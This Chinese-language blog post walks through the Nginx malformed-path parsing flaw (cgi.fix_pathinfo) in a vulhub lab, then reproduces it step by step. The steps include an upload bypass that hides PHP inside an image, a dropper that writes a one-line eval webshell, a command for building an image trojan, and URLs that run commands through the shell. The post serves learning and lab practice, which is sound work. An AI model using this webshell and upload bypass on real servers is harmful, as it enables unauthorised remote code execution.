利用 Nginx 畸形解析漏洞 getshell
Posted 浪人联想
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了利用 Nginx 畸形解析漏洞 getshell相关的知识,希望对你有一定的参考价值。
nginx
Nginx 是一款轻量级的Web 服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器,在BSD-like 协议下发行。其特点是占有内存少,并发能力强,事实上nginx的并发能力确实在同类型的网页服务器中表现较好。
漏洞描述:
对于任意文件名,在后面添加/xxx.php(xxx为任意字符)后,即可将文件作为php解析。
例:info.jpg后面加上/xxx.php,会将info.jpg 以php解析。
漏洞原理:
查看 nginx 配置文件:
cd /home/ch1/Desktop/vulhub-master/nginx/nginx_parsing_vulnerability/nginx
cat default.conf
1、 由于 nginx 的如下配置导致nginx把以 .php 结尾的文件交给 fastcgi 处理,因此我们可以构造http://ip/uploadfiles/1.jpg/.php (url结尾不一定是.php,任何服务器端不存在的php文件均可,比如’a.php’),其中1.jpg是我们上传的包含PHP代码的照片文件。
2、 但是 fastcgi 在处理 .php 文件时发现文件并不存在,这时 php.ini 配置文件中 cgi.fix_pathinfo=1 发挥作用,这项配置用于修复路径,如果当前路径不存在则采用上层路径。为此这里交由 fastcgi 处理的文件就变成了/1.php
docker exec -it f16180b9a206 /bin/bash
find / -name php.ini
#cgi.fix_pathinfo 默认是开启的
3、 最重要的一点是 php-fpm.conf 中的 security.limit_extensions 配置项限制了fastcgi解析文件的类型(即指定什么类型的文件当做代码解析),此项设置为空的时候才允许fastcgi 将 .png 等文件当做代码解析。
漏洞复现
打开漏洞环境:
攻击机:192.168.8.10
靶机:192.168.8.9
cd /home/ch1/Desktop/vulhub-master/nginx/nginx_parsing_vulnerability
docker-compose up -d
docker ps
访问:http://192.168.8.9/
发现上传点,上传普通图片:
http://192.168.8.9/uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
上传phpinfo文件:
拦截。
尝试利用Nginx解析漏洞绕过上传,我们在上传图片的时候抓包:
发送到repeater模块,并在图片中加上我们的php代码:<?php phpinfo; ?>
上传成功:
访问:http://192.168.8.9//uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg
为正常图片。
利用解析漏洞,访问:http://192.168.8.9//uploadfiles/f3ccdd27d2000e3f9255a7e3e2c48800.jpg/1.php
成功解析。
GetShell
木马文件:
<?php fputs(fopen("1.php","w"),'<?php @eval($_REQUEST[1]);?>');?>
#会在当前目录下生成1.php,密码为1
生成图片马:
copy 1.jpg/b + 1.php/a 2.jpg
上传 2.jpg
利用解析漏洞加载php代码:http://192.168.8.9/uploadfiles/156005c5baf40ff51a327f1c34f2975b.jpg/.php
访问网站根目录发现成功生成1.php:
访问:http://192.168.8.9/uploadfiles/1.php?1=phpinfo();
成功getshell!
仅供学习!
ok!
以上是关于利用 Nginx 畸形解析漏洞 getshell的主要内容,如果未能解决你的问题,请参考以下文章